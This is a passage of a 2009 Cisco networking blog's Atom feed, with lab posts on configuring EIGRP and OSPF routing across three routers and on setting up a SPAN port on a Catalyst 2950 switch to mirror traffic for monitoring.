/&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;R1&lt;/b&gt;&lt;/div&gt;&lt;div&gt;R1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;sh ip protocols&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Routing Protocol is "ospf 10"&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Outgoing update filter list for all interfaces is not set&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Incoming update filter list for all interfaces is not set&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Router ID 172.16.10.1&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  It is an autonomous system boundary router&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Redistributing External Routes from,&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Number of areas in this router is 1. 1 normal 0 stub 0 nssa&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Maximum path: 4&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Routing for Networks:&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    172.16.10.0 0.0.0.255 area 0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    192.168.1.0 0.0.0.255 area 0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt; Reference bandwidth unit is 100 mbps&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Routing Information Sources:&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    Gateway         Distance      Last Update&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;    192.168.2.2          110      00:01:01&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;  Distance: (default is 110)&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;First I'll remove OSPF&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;conf t&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;no router ospf 10&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;end&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And now I'll configure EIGRP with an AS of 10.  To configure EIGRP on all the routers in the diagram I use the following commands:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;R1&lt;/b&gt;&lt;/div&gt;&lt;div&gt;R1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;conf t&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;router eigrp 10&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;network 192.168.1.0 0.0.0.255&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;network 172.16.10.0 0.0.0.255&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;end&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;R2&lt;/b&gt;&lt;/div&gt;&lt;div&gt;R2#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;conf t&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0); "&gt;R2(config)#&lt;/span&gt;no router ospf 10&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;router eigrp 10&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;network 192.168.1.0 0.0.0.255&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;network 192.168.2.0 0.0.0.255&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;end&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;R3&lt;/b&gt;&lt;/div&gt;&lt;div&gt;R3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;conf t&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R3(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;no router ospf 10&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R3(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;router eigrp 10&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R3(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;network 192.168.2.0 0.0.0.255&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R3(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;end&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I now check my routing table on R3 to make sure I see the routes from R1.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;sh ip route&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Gateway of last resort is not set&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;D    172.16.0.0/16 [90/158720] via 192.168.2.1, 00:00:14, FastEthernet0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;D    192.168.1.0/24 [90/30720] via 192.168.2.1, 00:00:14, FastEthernet0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;C    192.168.2.0/24 is directly connected, FastEthernet0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Routes starting with a D are EIGRP routes.  Now I check I can ping one of the remote networks.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;ping 172.16.10.1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Type escape sequence to abort.&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Sending 5, 100-byte ICMP Echos to 172.16.10.1, timeout is 2 seconds:&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!!!!!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 8/29/52 ms&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I also need to set the default network so it gets advertised through EIGRP.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;ip default-network 172.16.10.1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;end&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now supposing I want to prevent one of the interfaces on a router from sending out or receiving advertisements. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R2(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;router eigrp 10&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;passive-interface fastEthernet 1/0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The following message is displayed on the console screen to indicate that the interface will not be sending out EIGRP routes. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;00:52:21: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 10: Neighbor 192.168.2.2 (FastEthernet1/0) is down: interface passive&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And on R3 I get the following message:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;00:52:27: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 10: Neighbor 192.168.2.1 (FastEthernet0/0) is down: Interface Goodbye received&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;On checking R3's routimg table I see that all the EIGRP routes are dropped.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;sh ip route&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;C    192.168.2.0/24 is directly connected, FastEthernet0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Troubleshooting and Debug Commands&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;R3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;sh ip route summary&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/Sr8vyYXfPgI/AAAAAAAABQk/e5zO1jQoyEU/s1600-h/sh+ip+route+summary.PNG"&gt;&lt;img src="http://2.bp.blogspot.com/_vZAp7b1QDw8/Sr8vyYXfPgI/AAAAAAAABQk/e5zO1jQoyEU/s320/sh+ip+route+summary.PNG" border="0" alt="" id="BLOGGER_PHOTO_ID_5386076221939334658" style="cursor: pointer; width: 320px; height: 105px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;sh ip protocols&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/Sr8vyDbv8lI/AAAAAAAABQc/cfhRZYJrlpo/s1600-h/eirgp+sh+ip+proto.PNG"&gt;&lt;img src="http://1.bp.blogspot.com/_vZAp7b1QDw8/Sr8vyDbv8lI/AAAAAAAABQc/cfhRZYJrlpo/s320/eirgp+sh+ip+proto.PNG" border="0" alt="" id="BLOGGER_PHOTO_ID_5386076216320062034" style="cursor: pointer; width: 320px; height: 214px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R2#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;sh ip eigrp interfaces&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;debug ip eigrp&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;sh ip eigrp traffic 10&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;sh ip eigrp neighbors detail&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-7657037160184502421?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/7657037160184502421/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=7657037160184502421&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/7657037160184502421'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/7657037160184502421'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/09/ip-routing-eigrp.html' title='IP Routing - EIGRP'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_vZAp7b1QDw8/Sr8vxhPHYPI/AAAAAAAABQU/RdWsIBwG-1I/s72-c/Routing+lab+diagram.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-2602603766790915772</id><published>2009-09-26T11:01:00.006+01:00</published><updated>2009-09-26T11:46:45.800+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Switch'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>Monitoring Traffic with Span Ports</title><content type='html'>This is just a quick post to detail the configuration of setting up a Span Port on a Cisco 2950 switch to monitor traffic.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Previously I had used either a hub or ARP poisoning to capture traffic in a switch environment.  On my Cisco switch I can capture traffic by telling the switch to send a copy of all traffic destined for one port (or multiple ports) to another port. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Span Port Configuration&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In the configuration below I have told the switch to send a copy of all data sent or received from the port range 3 - 5 to port 23&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;S1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;monitor session 1 source interface fastEthernet 0/3 - 5 both&lt;/span&gt;&lt;/div&gt;&lt;div&gt;S1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;monitor session 1 destination interface fastEthernet 0/23&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The configuration can be verified with the following command:&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;S1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;sh &lt;/span&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;monitor session 1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/Sr3voiS6Y6I/AAAAAAAABQM/Fn1jAKW545o/s1600-h/span.PNG"&gt;&lt;img src="http://4.bp.blogspot.com/_vZAp7b1QDw8/Sr3voiS6Y6I/AAAAAAAABQM/Fn1jAKW545o/s320/span.PNG" border="0" alt="" id="BLOGGER_PHOTO_ID_5385724209084916642" style="cursor: pointer; width: 320px; height: 302px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This works across VLANs too, as port 23 is configured into a separate VLAN from ports 3 to 5.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This should emphasise the need to secure your switch (passwords, SSH, lock down ports etc..) as it is obviously great for monitoring traffic but can also be used by an attacker to capture traffic.&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Links&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.cisco.com/en/US/products/hw/switches/ps708/products_tech_note09186a008015c612.shtml"&gt;Here&lt;/a&gt; is a great Cisco article on all things Span Port!&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-2602603766790915772?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/2602603766790915772/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=2602603766790915772&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/2602603766790915772'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/2602603766790915772'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/09/monitoring-traffic-with-span-ports.html' title='Monitoring Traffic with Span Ports'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_vZAp7b1QDw8/Sr3voiS6Y6I/AAAAAAAABQM/Fn1jAKW545o/s72-c/span.PNG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-3819567561179665450</id><published>2009-09-25T16:07:00.005+01:00</published><updated>2009-09-25T16:52:05.926+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OSPF'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>IP Routing - OSPF</title><content type='html'>&lt;div&gt;In this post &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_0"&gt;I'm&lt;/span&gt; going to describe a few benefits of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;OSPF&lt;/span&gt; and how to configure it. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;OSPF&lt;/span&gt; stands for Open Shortest Path First and and is a link state, non-proprietary, classless routing protocol. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;OSPF&lt;/span&gt; uses the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;dijkstra &lt;/span&gt; algorithm to calculate routes and has an administrative distance of 110.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The main advantages of OSPF are the fast convergence time and the low bandwidth use.  Unlike RIP which is a flat network &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;OSPF&lt;/span&gt; networks can be structured. Areas are used to structure the network and each router needs to have an interface in area 0 which is the backbone network.  For the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;CCNA&lt;/span&gt; exam only area 0 is used.  OSPF can also be configured to use authentication on it's routing updates.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Configuring &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;OSPF&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Below is a diagram of the routers I'll be referring to in this post.&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/Srzgae25USI/AAAAAAAABQE/j00wRNnWGOw/s1600-h/Routing+lab+diagram.png"&gt;&lt;img src="http://1.bp.blogspot.com/_vZAp7b1QDw8/Srzgae25USI/AAAAAAAABQE/j00wRNnWGOw/s320/Routing+lab+diagram.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5385425999992803618" style="cursor: pointer; width: 320px; height: 99px; " /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;Router 1 (R1)&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;FastEthernet&lt;/span&gt; 0/0 - 192.168.1.1/24&lt;/div&gt;&lt;div&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;loopback&lt;/span&gt; 0 - 172.16.10.0/24&lt;/div&gt;&lt;div&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;loopback&lt;/span&gt; 1 - 10.1.1.0/24&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Router 2 (R2)&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;FastEthernet&lt;/span&gt; 0/0 - 192.168.1.2/24&lt;/div&gt;&lt;div&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;FastEthernet&lt;/span&gt; 1/0 - 192.168.2.1/24&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Router 3 (R3)&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;FastEthernet&lt;/span&gt; 0/0 - 192.168.2.2/24&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Okay, lets get started.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I'll remove RIP so router 3 doesn't know about the 172.16.10.0 &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;subnet&lt;/span&gt; on router 1.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;conf&lt;/span&gt; t&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R3(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;config&lt;/span&gt;)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;no router rip&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R3(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;config&lt;/span&gt;)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;exit&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;sh &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;ip&lt;/span&gt; route&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Gateway of last resort is not set&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;C    192.168.2.0/24 is directly connected, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;FastEthernet&lt;/span&gt;0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;R3#&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Below I'll remove RIP from Routers 1, 2 and 3, configure them with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;OSPF&lt;/span&gt; and verify routes propagated. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;conf&lt;/span&gt; t&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;config&lt;/span&gt;)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;no router rip&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;config&lt;/span&gt;)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;router &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;ospf&lt;/span&gt; 10&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;config&lt;/span&gt;-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;network 192.168.1.0 0.0.0.255 area 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;config&lt;/span&gt;-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;network 172.16.10.0 0.0.0.255 area 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;config&lt;/span&gt;-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;end&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I also have an network 10.1.1.0 that I &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;dont&lt;/span&gt; want published so I leave this out.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R2#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;conf&lt;/span&gt; t&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;config&lt;/span&gt;)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;no router rip&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;config&lt;/span&gt;)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;router &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;ospf&lt;/span&gt; 10&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;config&lt;/span&gt;-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;network 192.168.1.0 0.0.0.255 area 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;config&lt;/span&gt;-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;network 192.168.2.0 0.0.0.255 area 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2(&lt;span class="blsp-spelling-error" 